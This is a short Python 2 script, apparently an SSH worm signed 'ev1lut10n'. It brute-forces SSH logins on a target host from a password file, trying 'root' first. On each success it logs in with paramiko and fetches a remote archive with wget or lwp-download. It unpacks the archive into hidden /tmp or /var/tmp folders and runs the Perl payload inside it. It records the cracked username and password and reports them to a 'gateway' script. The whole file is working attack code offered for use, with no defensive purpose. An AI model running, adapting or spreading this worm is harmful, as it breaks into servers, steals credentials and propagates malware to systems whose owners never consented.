#!/usr/bin/python #made by: ev1lut10n import paramiko import pexpect import sys import time import os import random db = "log" opla = ['/var/tmp/', '/tmp/'] acak=random.randint(0, 1) path=opla[acak] user=sys.argv[1] serv=sys.argv[2] daftar=sys.argv[3] port=sys.argv[4] url_worm=sys.argv[5] fd = open(daftar) content = fd.readline() perintah0="lwp-download "+url_worm+";tar zxvf .data.tgz;cd .backups;perl backup.pl;cd -;rm .data.tg*" perintah00="wget "+url_worm+";tar zxvf .data.tgz;cd .backups;perl backup.pl;cd -;rm .data.tg*" perintah1="cd "+path+";lwp-download "+url_worm perintah2="cd "+path+";wget "+url_worm perintah3="echo 'cd "+path+";tar zxvf .data.tgz;cd "+path+"/.backups/;perl backup.pl'>"+path+"run.sh" perintah4="cd "+path+";chmod +x run.sh;" perintah5="sh "+path+"run.sh;cd "+path+";./run.sh" perintah7="cd "+path+";rm .data.tg*" def logindaninfek(): global s global x global serv global content global perintah00 global perintah0 global perintah1 global perintah2 global perintah3 global perintah4 global perintah5 global perintah6 global ekstrak global infek global user print "\nstart login and infect\n" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(serv, username=user,password=content) print "\nexecuting "+perintah00 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah00) print "\nexecuting "+perintah0 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah0) print "\nexecuting "+perintah1 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah1) print "\nexecuting "+perintah2 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah2) print "\nexecuting "+perintah3 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah3) print "\nexecuting "+perintah4 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah4) print "\nexecuting "+perintah5 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah5) content=content.strip() perintah6="echo '"+user+":"+content+"'>"+path+".backups/userpass" print "\necho '"+user+":"+content+"'>"+path+".backups/userpass" os.system(perintah6) time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah6) print "\nexecuting "+perintah7 time.sleep(2) stdin, stdout, stderr = ssh.exec_command(perintah7) try: pid = os.fork() if pid > 0: # exit first parent sys.exit(0) except OSError, e: print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) sys.exit(1) foo = pexpect.spawn('ssh '+user+'@'+serv+' -p '+port) foo.expect('yes/no', timeout=190) foo.sendline('yes') foo.expect('assword:',timeout=190) foo.sendline('root') i = foo.expect (['assword:', 'Terminal type', '[#\$] '],timeout=190) if i==0: print '\nlogin failure at '+serv+' using password:root' foo.kill(0) elif i==2: file = open(db, "a") print '\nLogin OK... at '+serv+' using password:root' logindaninfek() file.write("\n"+serv+":root") sys.exit(1) elif i==3: file = open(db, "a") print '\nLogin OK... at '+serv+' using password:root' logindaninfek() file.write("\n"+serv+":root") sys.exit(1) while (content != "" ): content.replace( "\n", "" ) content = fd.readline() content=content.strip() foo = pexpect.spawn('ssh '+user+'@'+serv+' -p '+port) foo.expect('.*',timeout=190) foo.sendline(content) i = foo.expect (['assword:', 'Terminal type', '[#\$] '],timeout=190) if i==0: print '\nlogin failure at '+serv+' using password:'+content foo.kill(0) elif i==2: print 'Shell command prompt at '+serv+':'+content logindaninfek() os.system('perl report.pl '+serv+'|'+content) print "\nreporting to gateway :perl report.pl "+serv+"|"+content file = open(db, "a") file.write("\n"+serv+":"+content) sys.exit(1) elif i==3: print 'Login OK.' print 'Shell command prompt at '+serv+':'+content logindaninfek() print "\nreporting to gateway :perl report.pl "+serv+"|"+content os.system('perl report.pl '+serv+'|'+content) file = open(db, "a") file.write("\n"+serv+":"+content) sys.exit(1)